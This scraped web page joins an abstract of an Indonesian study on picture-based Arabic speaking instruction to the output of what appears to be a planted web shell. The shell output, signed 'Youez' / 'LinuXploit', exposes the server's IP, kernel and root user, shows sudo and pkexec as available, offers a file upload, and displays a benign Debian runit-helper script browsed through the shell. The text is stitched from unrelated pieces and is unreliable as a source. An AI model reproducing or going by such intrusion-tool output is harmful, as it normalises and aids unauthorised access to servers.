Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 3.147.48.105 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/runit-helper/ |
Upload File : |
#!/bin/sh # Copyright (C) 2017 Dmitry Bogatov <KAction@gnu.org> # Author: Dmitry Bogatov <KAction@gnu.org> # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 3 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. set -e # rescan and invoke-rc.d actions are done only if runit is init is_runit () { [ -f /run/runit.stopit ] } is_installed () { [ -f /sbin/runit ] } # No-Op if the service is not enabled # sv can't send signals to a disabled service is_enabled () { [ -h /etc/service/"$NAME" ] } # workaround for races as in #919296 ok_pipe () { [ -p "/etc/sv/$NAME/supervise/ok" ] } postinst () { local action="${1}" previous="${2:-}" # loguser transition: to be removed when the transition is done # we do ths before enable to avoid races # old loguser is 'runit-log', new is '_runit-log' # 'current' and 'lock' files in the run directory must be owned by # the new loguser if [ "${ENABLE}" = yes ] && \ [ -f "/var/log/runit/$NAME/current" ] ; then loguser="$(stat --format '%U' /var/log/runit/$NAME/current)" if [ "${loguser}" = "runit-log" ]; then sv d "/etc/sv/$NAME/log" >/dev/null || true chown _runit-log:adm /var/log/runit/$NAME/current chown _runit-log:adm /var/log/runit/$NAME/lock fi fi # It is important to not override local admin # decision (see #899242 and 942323 ). if [ "${ENABLE}" = yes ] && \ [ ! -h "/etc/runit/runsvdir/default/.$NAME" ] ; then # avoid infinte loop of symlinks if [ ! -h "/etc/runit/runsvdir/default/$NAME" ]; then ln -sf "/etc/sv/$NAME" "/etc/runit/runsvdir/default/$NAME" if is_runit ; then # always force a rescan after enable kill -s ALRM 1 fi fi fi # ENABLE=no is always a no-op # Upgrade will changes destination of /etc/sv/{name}/supervise symlink from # /var/* to /run/*. If service was running, it important that its supervise # directory is still accessible via /etc/sv/{name}/supervise symlink. # # This code must be removed once there are no more packages with # /etc/sv/{name}/supervise -> /var/lib/runit/supervise/{name} mkdir -p /run/runit/supervise old="/var/lib/runit/supervise/${NAME}" new="/run/runit/supervise/${NAME}" if [ -d "${old}" ] ; then ln -sf "${old}" "${new}" fi old="/var/lib/runit/log/supervise/${NAME}" new="/run/runit/supervise/${NAME}.log" if [ -d "${old}" ] ; then ln -sf "${old}" "${new}" fi # loguser transition: to be removed when the transition is done # we do this after enable to reduce chance of races if [ "${ENABLE}" = yes ] && \ [ -f "/etc/sv/$NAME/log/run" ] ; then if is_installed ; then sv u "/etc/sv/$NAME/log" >/dev/null || true fi fi #invoke-rc.d if is_runit ; then if [ "${action}" = 'configure' ] || [ "${action}" = 'abort-upgrade' ] || \ [ "${action}" = 'abort-deconfigure' ] || [ "${action}" = 'abort-remove' ] ; then if [ "${ONUPGRADE}" = restart ] && [ -n "${previous}" ] && is_enabled && ok_pipe ; then sv restart ${NAME} || true elif [ "${ONUPGRADE}" = reload ] && [ -n "${previous}" ] && is_enabled && ok_pipe ; then sv reload ${NAME} || true elif is_enabled && ok_pipe ; then # ONUPGRADE=stop || ONUPGRADE=nostop # ONUPGRADE= restart || reload and [ ! -n "${previous}" ] sv start ${NAME} || true else return 0 fi fi fi } prerm () { local action="${1}" # invoke-rc.d if is_runit ; then if [ "${ONUPGRADE}" = stop ] && is_enabled && ok_pipe ; then sv stop ${NAME} || true elif [ "${action}" = 'remove' ] && is_enabled && ok_pipe ; then # ONUPGRADE=restart || ONUPGRADE=nostop sv stop ${NAME} || true else return 0 fi fi } postrm () { local action="${1}" if [ "${action}" != 'purge' ] && [ "${action}" != 'remove' ] ; then return fi # When "ENABLE=no" the $NAME link is an admin decision # so we don't remove it. # Links in other runsvdirs is responsibility of administrator. if [ "${action}" = 'remove' ] && [ "${ENABLE}" = yes ] ; then rm -f "/etc/runit/runsvdir/default/$NAME" fi # If runscript was never invoked, there will be no files # in this directory, and `dpkg' will remove it. In this case, # we have nothing to do. for supervise in "/var/lib/runit/supervise/$NAME" \ "/var/lib/runit/log/supervise/$NAME" ; do if [ -d "$supervise" ] ; then # Actually only `down' may be absent, but it does not # matter. for file in control lock ok pid stat status down ; do rm -f "$supervise/$file" done # It should be empty now. If it is not, it means that # system administrator put something there. It is very # stupid, but will of user is sacred, and directory is # left as-is in such case. # # NOTE: Non-POSIX option is used. The day coreutils will # no longer be essential, it will require a fix. rmdir --ignore-fail-on-non-empty "$supervise" fi done if [ "${action}" = 'purge' ] ; then rm -f "/etc/runit/runsvdir/default/$NAME" rm -f "/etc/runit/runsvdir/default/.$NAME" readonly logdir="/var/log/runit/${NAME}" if [ -d "${logdir}" ] ; then rm -r "${logdir}" fi fi } "$@" # vim: sw=4:et
Youez - 2016 - github.com/yon3zu
LinuXploit